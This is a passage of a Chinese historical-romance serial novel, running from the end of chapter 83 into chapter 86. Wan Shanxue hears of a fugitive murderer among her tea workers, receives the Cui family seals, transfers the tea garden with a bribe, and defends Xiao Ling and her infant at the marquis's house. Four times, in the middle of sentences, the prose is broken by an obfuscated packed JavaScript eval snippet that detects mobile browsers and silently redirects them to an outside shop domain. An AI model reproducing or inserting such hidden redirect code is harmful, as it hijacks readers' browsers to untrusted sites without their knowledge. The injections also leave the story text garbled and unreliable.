她望着宋昭渐渐凝重的眉眼，忐忑说道，“偶然听伙计影影绰绰说起，近日府衙刑名房在重查一桩旧案，而石三，与此案主犯名字稍微相似。他在我茶园帮工数月，勤恳忠厚，我不信他会是行凶作恶之徒。即便真牵涉其中，想来也必有隐情冤屈。我今日贸然来求伯伯，并非要您徇私，只盼倘若日后案情真涉及他，衙门问话时，能私下多给他一个说话的机会，或许其中另有曲折也未可知。” 值房里霎时静了下来。 宋昭脸上的笑意慢慢敛去，他站起身，走到窗边，将原本虚掩的窗子彻底关严，又侧耳听了听门外的动静，这才回身，在万山雪对面的椅子上缓缓坐下。 “你从这儿出去之后，今日所言，尤其是你疑心他涉案这一节，绝不可再对第二人提起。” 万山雪心头一凛，不由得坐直了身子：“伯伯，这是何故？” 宋昭长叹一声：“你是个心善的孩子，伯伯也不瞒你。刑名房近日，确实在暗中重查一桩三年前的旧案，那是秀州乡下的灭门惨案。一家五口，无一幸免，现场惨不忍睹。凶手是那家主的弟弟，名叫右川，案发后便逃之夭夭， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17116150|190081||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 至今未曾拿获。” 万山雪只觉一股寒意从心底冒出来，怎么也没法将那个眉眼忠厚的石三，与这灭门凶手联系起来。 “这案子当年轰动一时，只因凶手一直抓不到，渐成悬案，只是卷宗从未封存。”宋昭的声音压得更低，“近日有人禀报，在晋陵城郊一带见过右川行迹，故而衙门又重新排查起来。你府上那位石三，若真是右川，此时失踪，必是听到了风声畏罪潜逃。” 他身子微微前倾，目光紧锁着万山雪：“侄女，你听伯伯一句劝，此事你切莫再深究，更不可对旁人言。若有人查到门上，你只一口咬定，对此人底细一概不知，不过是寻常雇佣，如今工期满了自行离去便是，其余的，半个字也不要多说。” 万山雪怎会不懂他的好意。 本朝律例，窝藏包庇罪犯乃是重罪，莫说有意庇护，便是无意间收留逃犯一晚，查实了也要挨十个重板。而石三在崔家别院一待就是数月，她待他宽厚，这是院里上上下下都看在眼里的事。 宋昭瞧着她瞬间惨白的脸，又是一声长叹：“崔家的事，我亦有耳闻，有些话，伯伯不便说得太明。只是你细想，你茶园里管事用人，多是本地多年的老人，一个被悬赏缉拿的灭门凶犯，能在你这儿安安稳稳待上三个月，竟无一人提醒你……孩子，这本身就说不过去啊。” 话已至此，再明白不过。 寒气从脚底直冲头顶，连指尖都被冻得发麻。她站起身，对着宋昭郑重行了一礼：“侄女明白了，多谢宋伯伯今日提点之恩。” 宋昭忙虚扶一把，恳切道：“你一个年轻女子，在异乡操持这偌大家业，本就不易。有些事，牵涉太深，水也太浑，要知进退。保全自己，才是最要紧的。” 离开府衙时，日头苍白地悬在半空，半点暖意也无。万山雪靠在车壁上，宋昭的话一句句在脑中回响，挥之不去。 宣颐婚前随祖父母居于深山，婚后困在深宅，定是不知内情的；黎偃松的手下更不必说；其余茶工都是后来新招的。若说有谁知道石三的底细，便只有崔福带领的这帮老伙计了。 倘若石三真是右川，倘若崔福早已知晓他的身份，却故意将他引到茶园……这背后，藏着怎样的算计？ 她又想起昨夜，石三跪在阶下，对着她砰砰砰磕的那三个响头。他究竟知道多少？是被蒙在鼓里，被崔福牵着鼻子走，还是明明白白，与崔福联手演戏？ 心绪如乱麻，越理越乱，几乎让她透不过气。 回到书房，她屏退左右，独自铺纸研墨，给黎偃松写信，将石三失踪的始末，以及宋昭的暗示，简明扼要写清。 写到最后，纷乱的心绪竟渐渐定了下来。她信自己的判断，也相信，纵然人心幽微难测，可那些发自本心的举动，终究是演不出来的。 她笔锋顿了顿，蘸饱了墨，缓缓写道： “此人虽沉默寡言，然观其行事，重情守分，非冷酷凶残之辈。此番不告而别，必有其不得已之苦衷。山雪力薄，所能及者甚微。倘将军之人于江湖之中偶遇，望能念其或有冤屈，略施援手，护其一时平安。 此事恐非表面那般简单，山雪忧心或将卷入漩涡。若有惊变之日，万望将军费心，将宣颐母女与茶园一众可信之人，平安接走。顿首百拜” 信送走了，万山雪独自坐在渐渐暗下来的书房里。 山雨欲来，风已满楼。 夜色愈发深沉。 84. 第 84 章 这一夜睡得极不安稳。启明星挂在天边时，万山雪才迷迷糊糊合眼。醒来已是天光大亮。 她匆匆梳洗，用了些早膳，正要往茶园去，崔福拿着封信到了院门外：“二奶奶，京城来信了。” 信是尤氏写给崔福的。里头说迟迟不见万山雪回音，生怕误了正事，便转而催促崔福，强调茶园重建耗费巨大，崔家不能再投钱，命他尽快转卖止损。 字里行间，比上回更急切几分。 万山雪将信轻轻搁在身旁小几上，抬眼看向崔福：“福叔打算如何？” 崔福一脸痛心：“我这把老骨头，守在这儿二三十年了，说句托大的，哪一株茶树没费过我的心血？痛心哪。可事到如今，只能冷静计较。既是老夫人和几位掌柜商议定的，自然该照办。好在茶园地段好，接手的人应当不难找。” 万山雪能清楚感觉到他投来的打探目光，只作不知。只听他又说道：“二奶奶的意思……” “我是年轻不知事的，这几个月费些心思就已觉得万分难舍，更何况福叔日日夜夜守着。”万山雪声音平静，“茶园是母亲的嫁妆，也是福叔多年的心血，即便转手，也须寻个真正懂茶爱茶、能善待茶园的人。福叔久居此地，人面熟，就劳你细细寻访，务必找个可靠的人再出手。” 崔福满脸堆笑：“二奶奶考虑得周全。老奴一定用心去找。只是生意之事，到底要看价钱高低。太太信里催得急，也是心疼二奶奶在这儿辛苦……” “母亲病中，思虑难免急切。”万山雪端起茶盏，吹了吹浮叶。茶汤碧清，映着她沉静的眉眼，“我们办事的却要稳妥。若匆匆卖了，所托非人，糟蹋了茶园，才是真对不起她老人家，更对不起福叔数年如一日的付出。” 崔福连声应“是”，腰弯得更低些。 万山雪也不再搭腔，只慢条斯理地喝茶。 半晌，崔福像忽然想起什么，说道：“瞧我这记性！昨儿后晌在南街遇见了尤大爷，他陪着尤老爷子从京城看过太太才回来，惦记着要择日来茶园瞧瞧。还说起乌家表姑娘已诊出身孕，三个多月了。太太精神一旺，身子好了许多，如今就等着二爷从东洋回来，赶着办两重喜事……” 说到这儿，他仿佛才意识到失言，慌忙抬手给了自己一嘴巴，一脸懊恼：“哎呀！瞧我这张嘴！二奶奶莫怪，我真不是那个意思，二爷对您一向是……” 万山雪放下茶盏，盏底与桌面相触，发出极轻的一声“嗒”。 “这是天大的喜事。”她声音里听不出波澜，“福叔也是好心，说出来让我宽心，知道母亲病体渐愈，我在这儿也能少些牵挂。” 此话一出，崔福明显愣住了。方才那口若悬河的模样消散无影，只余一脸尴尬，像是蓄力挥出一拳却打在了棉花上。 “若没别的事，福叔先去忙吧。”万山雪已拿起手边账册，垂眸看去，声音淡淡，“家里有喜，届时太太定要大行赏赐。旁人不说，福叔可是第一等劳苦功高的。” 崔福干笑着，又说了几句场面话，躬身退了出去。 书房门被轻轻带上。 万山雪维持着看账册的姿势，目光定在密密麻麻的数字上，却一个字也没看进去。窗外的光斜斜照进来，落在手边的信笺上，将那几行字照得格外清晰。 三个月已过，乌思羽这一胎算是稳了。 崔明之要有孩子了。 三年多有名无实的夫妻，一千多个日夜的独守空房。她原以为听到这消息，多少会有几分不甘。可心口那片被圈禁的荒芜之地，此刻像是骤然被解了绑——没有痛，只有漫天漫地的自由解脱感，浩浩荡荡。 也好。 她和崔明之，这场从一开始就错了位，充斥了冷落与折磨的婚姻，终于走到了一个清晰可见的尽头。像一出荒诞的戏，总算望见了落幕。 只盼到了真正了断那日，能顺顺利利地一别两宽。从此桥归桥，路归路，两不相欠。 崔福离开后约莫半个时辰，红璎来报，萧府的许管家到了。 万山雪收敛心神，迎了出去。 花厅里，许管家笑容可掬，带来的谢礼在旁堆成小山——绸缎、各色药材、南边的时新果子，还有几匣子精致的点心。 “若非夫人施以援手，我们二小姐不知会历经多少凶险。老爷太太感激不尽，特命我备些薄礼，聊表心意。”许管家言辞恳切，深深一揖。 “管家太过客气。咱们两家本是故交，照应妹妹是我分内之事，何须如此？”万山雪含笑谢过，请许管家上座用茶。 二人说了些晋陵风物、茶园近况的闲话，气氛融洽。 茶过两盏，许管家环顾四周，欲言又止。 万山雪会意，对红璎使了个眼色。红璎应声退下，与橘霜一同守在花厅门外，隔开一段距离。 许管家脸上笑容立即敛去，眼神郑重而警惕。他迅速从怀中取出一个用深色粗布包裹的扁平物件递过来，语速极快：“我此来送谢礼是其一，更紧要的，是受人之托，将此物亲手交予您。” 万山雪接过，入手沉硬。 “丰德掌柜察觉令表亲尤弈恐已与崔福勾结，意图侵夺崔家产业。奈何尤太太甚为信赖尤老爷和尤弈，来往信件俱不避他们。疏不间亲，丰德急如热蚁，知我南下，冒险将印鉴托付，命我务必亲手交到二奶奶手中。” 万山雪心头一凛。 许管家继续低声道：“丰德说，崔家旧规，涉及财产处置与变卖，需三印齐备，同时钤盖，文书方为有效。三印，乃崔二爷私印、老夫人之印，以及丰大掌柜的铜印。如今老夫人印信只怕已落入尤弈之手，二爷远在东洋，通信不畅。丰德将其手中铜印，连同他设法拓印复刻的二爷与太太的印鉴模样，一并送来。虽非原印，但印纹、字迹大小与真印一般无二，若遇紧急，或可一用。” 万山雪解开粗布，里面是一个扁平的枣木小匣，木质暗红，触手温润。她轻轻打开铜扣。 盒里的红绒衬底上，静静躺着三枚印章。一枚温润莹白的寿山石，刻着崔明之的名讳表字，清隽挺拔；一枚青田石，镌着“崔门尤氏”及缠枝纹，精细繁复；第三枚则是黄铜所铸，“丰德经手”四字隶书朴拙，边角已有磨损，泛着经年摩挲的光泽。旁侧还放着几方朱红清晰的印泥拓片，正是另两印的纹样。 丰德将此印交出，等同将他在崔家几十年的信誉与身家，全数押在了她这个毫无地位的二奶奶身上。 这份信任，沉重如山，压得她心头一紧。 “丰掌柜还托我带话，”许管家声音更轻，“崔福不可信，二奶奶所有往来信件务必谨慎，万勿经他之手，恐被截留篡改。万事小心。” 万山雪重重点头，将木匣仔细收好。 崔福与尤弈，一个是守着崔家几十年的老仆，一个是有血脉亲缘的表亲，这般沆瀣一气，里应外合。尤弈为的是财，崔福又为了什么不惜背叛主家？ 她来不及细想，对许管家郑重行礼：“此恩此情，山雪铭记五内。请您转告丰掌柜，我必竭尽所能，不辜负他所托。” 许管家点头，神色缓和些许：“另外，靖安侯夫人也让我转告二奶奶，若有需援手之处，她定不会袖手旁观。” 话音刚落，厅外传来红璎与人搭话的声音，许管 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17121573|190081||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家立刻恢复如常神色，端起茶盏，吹了吹茶汤。 万山雪扬声说道：“福叔进来吧。这是萧府的许管家，咱们两家打老爷那时起就交好。福叔虽久在南边，必然也听说过。” 崔福满脸堆笑进来，三人又寒暄片刻，许管家便起身告辞，万山雪亲自送至门外。 回到书房，她闩上门，再次打开木匣，就着窗前天光细看。 崔明之的印，她见过几次——这枚复刻得极像，连石料纹理都仿得微妙。尤氏的印，纹路精细繁复，与记忆中那方代表主母权威的小印几乎无二。而丰德的铜印则是真品，边角磨损光滑，印泥渍痕深入肌理，是多年使用留下的印记。 三印在手，她便有了在晋陵代行崔家产业处置权的法理依据。崔福拿所谓家书来变相逼她卖园，是算准了她不知旧规，或无法取得另外两印。 只可惜，他们算漏了一个忠心的丰德，一个肯仗义援手的许管家，也算漏了她万山雪，并非任人拿捏的泥人。 棋盘之上，对手已连落数子，气势汹汹。 如今，该她落子了。 正当她凝神思索之际，门外传来一阵急促的叩门声，橘霜推门进来低声说道：“二奶奶，陕万年急着见您。” 陕万年行事谨慎，表现得与其他茶农别无二致，甚少直接找她。 万山雪心头一跳：“让他进来。” 陕万年闪身进屋，立刻反手掩门，将她此前让他送出的信又递回来，低声道：“二奶奶，信送不出去了。宣家宅子四周，有不明身份的人暗中围着，佯作闲散，眼神姿态皆是盯梢的路数。属下不敢贸然接近，绕道观察，那包围已成合拢之势。” 万山雪呼啦一下站起身来。宣家被围，黎偃松的藏身之处已然暴露。 “眼下该怎么办，我能做什么？” 她听到自己的声音在发抖。 黎偃松他们涉险在此，对种种情况定有预想对策，却还是压不住那份担忧。 “将军当初将兄弟们分散开来，为的就是不引人注目，眼下宣宅困住的是将军、景副将，江姑娘，并十来名专门传递消息的兄弟。” 陕万年用袖子擦了擦汗，他显然也是一路急赶回来，“将军他们定然也在想法子自救，我们若是能帮忙将人引开就好了。” 种种猜测与担忧拧成绳索，将她的心牢牢绞住。她扶住桌沿站稳，方才因获得印鉴而生出的那点底气，在这个消息面前显得如此脆弱。 她控制不住地想起那个关于他的噩梦——血色弥漫，他倒在她面前，那双总是灼灼望着她的眼睛渐渐失了神采。 自从知道他待自己的心意以来，她更加害怕，怕自己无意中成了催命的引子，怕那噩梦会变成真的。 “二奶奶莫慌。”陕万年见她脸色苍白，低声劝道，“将军历经沙场，机警过人，必会有所防备。此刻我们若自乱阵脚，反而不好。” 万山雪闭了闭眼，将那噩梦从心头强行压下。是了，慌乱无用。越是这种时候，越要稳住心神。 “好。你们几人近日也更要隐匿行迹，非万分必要勿要外出走动，茶园里的活计照常即可。我们一切如常，便是最好的掩护。” “是。”陕万年应下，又补充道，“属下会再寻机会，看看有无其他路径可通消息。” “务必小心。”万山雪叮嘱。 陕万年悄声退去，书房重归寂静。 她独自立在窗前，望向宣家宅子的方向，目光越过层叠的屋脊与远山。太阳正一点点浸染天际，将白昼的光明播向四方。 噩梦会醒来。 他们也一定会平安。 85. 第 85 章 听罢万山雪的计划，宣颐眼波倏然一亮，抚掌道：“妙极！茶园过户到我名下，既断了他们的念想，产业实际上仍在你手中——不过是换个名头罢了。” 她忽地想起一事，眉尖微蹙：“只是，过户须经府衙户房经办。崔福是这儿的老油子了，关系网必然比咱们广，只怕会从中作梗。” 万山雪颔首道：“正是。不过三印俱全，文书齐备，这是事先连我自己也不曾料想到的。纵使有些波折，料他们也不敢在明面上硬拦。须知他们眼下要的是悄无声息吞下产业，最怕横生枝节。” “何时去办？” 万山雪起身走至窗边，推开半扇，望了望天色。正午的阳光斜斜铺在青石板上，泛起一层薄薄的金光。 “宜早不宜迟。崔福刚得了我婆母的信，又与尤弈接上头，此刻只怕正得意，以为我已无路可走。正好打他一个措手不及，待他反应过来，木已成舟。” “那才叫大快人心。”宣颐随之起身，“我这就去准备。” 两人一刻也未耽搁，由辛骐赶车送她们往晋陵府衙去。 宣颐忽然轻声问道：“这般金蝉脱壳的法子，你是如何想到的？我这些日子时时思量你这难题该如何解，竟从未转过这个弯来。” 万山雪目光投向窗外流动的街景。贩夫走卒的吆喝声、孩童的嬉闹声、车轮碾过石板路的轱辘声，交织成市井特有的喧闹生机。 她静了片刻，方道：“是黎将军提点的。” “他见识广，心思又细，能想到这层，倒也不奇。” 宣颐说着，嘴角浮起一丝戏谑的笑意，凑近些低声道：“说起来，这位将军待你，可是格外不同。” 万山雪不料她竟看出端倪，只作不觉：“姐姐莫要打趣，黎将军为人热忱，待友人一向如此。” “友人？”宣颐轻笑，“还瞒我呢。他性子那般清冷疏离，唯独与你说话时，语气神态都透着温和。那日咱们初见，他看你的眼神我一眼就瞧出来了，你当真不曾觉察？” 马车行至闹市口，略停片刻。一株老槐树枝叶婆娑，投下斑驳光影。万山雪望着树下并肩而立的一对年轻夫妻，心中忽地漫过一阵淡淡的悲凉。 “宣颐姐，莫说如今我仍是崔家妇，即便将来真能斩断这孽缘，我也不愿再涉男女之情了。” 她顿了顿，声音里透出历经沧桑后的倦意与决绝：“黎将军一家屡次救我于危难，恩重如山。我与他之间，能守着干净相知的情谊，便是最好。若掺了杂念，反倒辜负了这份大恩。何况门第有别，将来我又是二嫁之身，世俗如何看待，他的家人又能否接纳……姐姐，我不是自轻自贱，只是觉得，这世间，再没有谁值得我这般辛苦地走一遭了。” 车厢内静了一瞬，只余辘辘轮声与远处依稀的市井嘈杂。阳光透过青帷缝隙，在她素色的裙裾上投下细碎光斑。 “我只求一个自由身，清清静静地过日子，不再依附谁，也不再为谁牵肠挂肚。那样太累，我也输不起了。” “山雪，”宣颐柔声唤道，伸手轻轻覆上她的手背，“你的心思我明白。我不是劝你什么，只盼你凡事多顺着自己的心意来。人这一生，但求落棋无悔。” 万山雪默念着“落棋无悔”四字，转而问道：“棋儿的名字……是否也源于此意？” 宣颐一怔。 “算是吧，”她怅惘应道，“新婚之夜，她父亲说无论将来生儿生女，都取名‘棋儿’，寓意我俩姻缘，落子无悔。怎料当初那样的情深意重，经过日常琐碎消磨，最终只剩相看两厌，一地鸡毛。” 见宣颐眉眼间流露出深藏的疲惫与孤清，万山雪心头一紧，后悔提起这话头，忙道：“不说这些了。咱们且往前看吧。” 马车在角门停下，辛骐递上名帖与备好的锦囊，门房这才懒洋洋直起身，引着二人往户房去。 书办姓王，四十来岁模样，生得瘦削，一双三角眼透着精明世故，正伏案书写。 见有人来，他搁下笔，慢条斯理地捋了捋山羊须：“二位是？” 宣颐上前一步，温言道：“王书办，叨扰了。这位是崔府二奶奶，为崔家茶园过户一事而来。” “崔家？”王书办接过辛骐递上的文书与印鉴拓样，待看清“崔明之印”“尤氏印”与“丰德经手”三印俱全，且拓样清晰，脸色微微一变，抬眼仔细打量了万山雪一番。 半晌，他搁下文书，端起手边半凉的茶呷了一口，拖长语调：“茶园过户，非同小可啊。崔家是体面人家，按规矩，需主事人亲至，或持有亲笔授权并原印。您这儿只有拓样，不合章程。” 万山雪从容应道：“家夫远在东洋，婆母在京病重卧床，皆无法亲临。故而才以三印拓样为凭，另有婆母亲笔信函，言明由我全权处置晋陵产业。崔家旧规，三印拓样齐全，即视同原印，此乃晋陵商界皆知之事。书办若存疑，不妨询问衙中熟悉本地商事旧例的同僚，或请户房主事大人过目。” 王书办干笑两声：“二奶奶说得在理，生意是生意，办事是办事。没有原印，上头若怪罪下来……” “书办放心。”宣颐适时接话，笑意温婉，“绝不会让您为难。” 她将备好的锦囊轻推至案上，“一点茶敬，给您润润喉。待茶园事了，再来拜谢。” 锦囊未系紧，袋口微敞，漏出一抹澄澄金色，在昏淡的户房里格外显眼。王书办眼角余光扫过，喉结微动，神色稍缓，手指在案上轻轻敲打。 万山雪心如明镜。他并非不愿办，只怕是有人提前打过招呼，不敢轻易动作。 “书办依章办事，谨慎些亦是本分，我们自然明白。”她语气稍缓，继续说道，“我与秀州衙门刑名房的宋师爷是故交，昨日还曾拜访请教过户文书细节。宋师爷也知晓崔家处 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17128044|190081||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 置产业一事，看过文书印样，并未觉有何不妥。书办若实在为难，不如我请宋师爷过来，一同参详参详？” 王书办脸色微变。 晋陵归秀州辖制，宋昭是刑名房老人，虽无实权，却在府衙里人熟资历深。更何况，对方是宣家。宣老爷子虽不涉官场，在晋陵、秀州两地却是德高望重，其独子宣韬更是定国公吴险跟前的红人，真闹起来，他一个小小书办，绝无好处。 他瞥了眼那锦囊，脸上随即堆起笑，将锦囊收入袖中，动作快得几乎不着痕迹：“崔二奶奶言重了，既是宋师爷也看过，那还有何话说？小人这便为二位办理。” 他动作立刻麻利起来，不过两刻钟，一应手续皆毕，簇新的地契已交到宣颐手中。 “宣娘子，崔家茶园从今日起，就在您名下了。”王书办赔笑道，“祝您经营顺遂，财源广进。” 宣颐细细看过文书上每一个字，确认无误，与万山雪对视一眼，彼此眼底皆掠过一丝如释重负。 “有劳王书办。” 二人不再多言，转身出了户房。 迈出府衙大门，午后的日光正亮，洒在身上暖意融融。宣颐长长舒了口气，仿佛卸下千斤重担：“成了！” 万山雪唇边亦浮起浅淡笑意，余光却瞥见街角一道熟悉的身影，似是崔福身边的一个小厮——正探头探脑，见她们出来，立刻缩回头，匆匆隐入巷中。 “才只第一步。”她低声道，“戏，刚刚开场。” “接下来如何？”宣颐问道。 “崔福知晓过户一事，绝不会善罢甘休。他手中最大的筹码，无非是石三。大约这几日就要生变。” 万山雪眸色清凛，“我得立刻去一趟靖安侯府，求见萧夫人。眼下或许只有借她靖安侯夫人名分的威慑，才能为将军那边争取转圜之机。纵不能全然解围，至少让对方有所顾忌，不敢立下死手。” 宣颐点头，神色凝重：“萧夫人明理，又与你投缘，或可一试。我这边须立即回宣宅一趟。祖父祖母看似不问外事，终日与茶相伴，却绝非只知自保之人。他们既允黎将军住下，便是态度。我须将眼下情势细细告知，说不定，能寻到呼应之机。” 万山雪轻轻握住她手腕，神色郑重：“宣颐姐，你将孩子送个妥帖处避避风头。茶园与宣老那儿，只怕都有危险。” 宣颐一怔，霎时明白过来：“你是怕他们对孩子下手？” “狗急跳墙，何事做不出？纵然他们想不到这一层，我们也要防备。孩子是软肋，绝不能置于险地。这几日，你也莫要再来茶园，尽量少出门。” “我这便去接棋儿，你自己千万小心。” 二人在官衙外的路口紧紧一握，目光交汇，俱是决然。无须多言，她们皆知——从此刻起，两人已经置身汹涌暗流之中。 车轮再次转动，载着万山雪驶向靖安侯府。 86. 第 86 章 吴阻生性好热闹，靖安侯府终日笙歌曼舞不断。才后半晌已是笑语盈庭，宾客如云。仆役们垂手侍立，目光却如蛛网，悄悄黏在每一个进出之人的身上。 万山雪的拜帖递入不久，一位老嬷嬷便引她入内。穿过几重庭院，行至萧泠居所。庭院中几株玉兰花开得正喧嚷，更显得这屋子清寂空荡。 屋里光线被纱帘滤得稀薄，萧泠半倚在临窗暖榻上，春已这样暖了，她身上仍搭着厚锦被，人陷在里头，愈显瘦弱。 走近一看她怀中紧搂着一个宝蓝色襁褓，婴孩睡得正熟，小脸红扑扑的，煞是可爱。 萧湘坐在屋子里侧的绣墩上，望着窗外发呆。见万山雪提着产后补品进来，忙起身接过，嘴角动了动，还未说话，眼圈先红了。 “你来了。”萧泠抬了抬眼，勉强笑了笑，“多谢你惦记，茶园那样忙，还不忘来看我们。” 万山雪在榻边坐下，俯身看孩子：“都说孩子迎风就长，这才几日不见，又大了些。眉眼像您，生得真好。” 两人说了些产后调养的闲话。 正聊着，一阵细碎急促的脚步声由远及近，伴着脂粉香和环佩叮当，直往屋里来。 “姐姐今日可大安了？妹妹特特寻了上好的血燕，给姐姐补补元气。” 人未至，声先闻。那声音又脆又娇，甜得仿佛能滴出蜜。 万山雪抬眼，只见帘子一挑，一个穿桃红锦缎裙的年轻妇人闪身进来，满头珠翠，柳眉杏眼，含笑盈盈。 她看也不看屋里的客人，径直走向孩子。万山雪心下明了——萧泠这侯爷夫人，过的是什么日子。 萧泠搂着孩子的手臂骤然收紧，脸转向内侧。萧湘的俏脸绷得铁青，从齿缝里挤出三个字：“柳姨娘。” 柳姨娘恍若未闻，伸出涂着鲜红蔻丹的手，就要去摸孩子的脸：“哎哟，我的小乖乖，睡得多香。瞧着又圆润了些，真真是可人疼。” 萧泠抱着孩子避开，声音低低地：“才睡着，别惊着他。” “侯爷在前头念叨，想孩子想得紧，让我抱过去瞧瞧，乳母都候着呢。”说着，手就往襁褓底下伸，“给我吧，别饿着小祖宗，也免得侯爷久等。” 萧泠脸上最后一点血色也褪尽了，手臂却纹丝不动：“侯爷若想见，等孩子醒了，我让人抱去就是。” “姐姐这是跟我见外了。”柳姨娘语气亲昵，下手却极强势，“咱们这堂堂侯府，又不是小门小户的没人手，叫产妇带孩子，没得惹人笑话。侯爷亲口吩咐，说我是最无用的，识文断字的事指不上我，孩子就由我多照看。快给我吧，回头侯爷等急了，又该怪我不尽心。” 她已牢牢抓住襁褓，萧泠见孩子被惊动，不耐地撇了撇小嘴，眼中尽是不忍，正要松手，万山雪已起身，立在榻前半步处，挡在萧泠身前。 她朝柳姨娘行了一礼：“妾身崔万氏，见过柳姨娘。” 柳姨娘动作一顿，目光如刀般掠过万山雪的脸：“原是崔二奶奶。恕我眼拙，不知姐姐有客。我这儿正忙，姐姐身子弱，孩子也离不得人，恕不相陪了。”说着又要去拽孩子。 “姨娘且慢。”万山雪更近前一步，“姨娘体恤夫人，心意是好的。只是母子连心，乃天性人伦。孩子在母亲身边，心神安定，长得才好；母亲见得孩儿，心中愉悦，气血也顺，才利于产后调养。便是寻常人家，也从无将初生婴儿日日抱离生母身边的道理，何况靖安侯府这等诗礼传家、最重伦理的大家？” 她略顿，见柳姨娘脸色微变，继续道：“侯爷疼爱世子，一片慈父之心，自是没得说。若能移步前来探望，既全了天伦，世子也不必挪动见风，夫人也得安慰，岂不更好？何须劳烦姨娘日日抱来抱去。一来夫人惦记，二来孩子易惊，再者，若让有心人看去，议论姨娘行事欠妥，反倒不美。姨娘您说，是不是这个理？” 柳姨娘脸上红白交错，扯了扯嘴角，笑意发僵：“崔二奶奶真是伶牙俐齿。我不过一片热忱，想替姐姐分忧，教二奶奶这么一说，倒全是我的不是了。” “姨娘的好心，夫人与侯爷看在眼里，记在心上。世子睡得正熟，便不劳姨娘辛苦这一趟了。”万山雪又行一礼，摆出送客之态。 柳姨娘神色僵住，想来是从未在萧泠这儿碰过这样的软钉子。 她盯着万山雪，眼底怨毒一闪，又瞥向紧抱孩子、垂眸不语的萧泠，和一旁怒视她的萧湘，从鼻腔里轻轻一哼，似笑非笑道：“既然如此，妹妹就不扰了。崔二奶奶，您好生坐。” 说罢，目光在万山雪脸上狠狠一剐，扭身便走，桃红裙摆旋起一阵恼恨的风。 直到那香气与脚步声彻底消失在廊外，屋里凝冻的空气才“哗”一声碎了。 萧湘长长吐出一口气，像是要把胸腔里憋闷许久的浊气都吐尽。她一把抓住万山雪的手，眼泪扑簌簌往下掉，声音又激动又委屈：“万姐姐，你可知我为何不肯跟许管家走？她天天来，变着法儿要抢孩子！姐姐和我但凡多说一句，她就跑到姐夫那儿颠倒黑白。我、我恨不得……” 萧泠一直紧绷的脊背，骤然塌了下去。她像被抽去骨头，瘫软在榻上，肩头无法抑制地剧烈抖动，大颗大颗的泪无声汹涌地滚落，砸在宝蓝色锦缎上，洇开一片深暗的湿痕。 “姐姐别哭……”萧湘慌了，忙拿帕子去擦，自己的眼泪却流得更凶。 万山雪不语，只是坐回萧泠身边，伸出手，一下一下，轻柔而坚定地拍抚她瘦削颤抖的脊背。此刻，说什么都很苍白无力。 良久，那崩溃的颤抖才渐渐平息，化为低低断续的啜泣。 “好妹妹，让你看笑话了，担着一个侯爷夫人的虚名，我无能至此，连自己的孩子，都护不住……” “姐姐别这么说，”萧湘哭道，“是那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17133183|190081||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个姓柳的不要脸。万姐姐你不知，她昨日竟对我说，让我也留下，姐妹同心一起伺候侯爷，好帮姐姐‘拴住侯爷的心’——她把我们当什么？把萧家当什么？！” 萧泠疲惫地闭上眼，泪水从眼角滑入鬓发：“湘儿，别说了。这都是我的命。一辈子……就这样了。” 她忽然攥住万山雪的手，恳切说道：“你今日来得正好，求你带湘儿走，现在就带她走。她不能留在这儿。柳姨娘既敢说这话，必是侯爷有过这念头。” “姐姐，我不走。”萧湘扑到榻边，抓住萧泠另一只手，泪如雨下，“我走了你怎么办？她更会变着法儿作践你！我不能走……” “你留下能做什么？！”萧泠猛地甩开妹妹的手，声音带着哭腔与无尽疲惫，“陪我一起烂在这泥潭里吗？” 万山雪用另一只手，覆上萧泠那双冰凉颤抖、骨节突出的手背：“姐姐莫忧心，我会带湘妹妹走。但这地方，她不留，你也不能留。” 她转头看向萧湘，神色肃然：“你若是信我，也想让姐姐好过，就去收拾东西。” 萧湘犹豫片刻，还是抹着泪去了。 萧泠泪眼模糊地望着她，嘴唇翕动，只管摇头。 “姐姐的人生，不该被钉死在这锦绣牢笼里。孩子是您的骨血，理应在母亲怀中长大。谁也不能夺走。”万山雪一字一句，目光如铁，看进萧泠绝望的眼底。 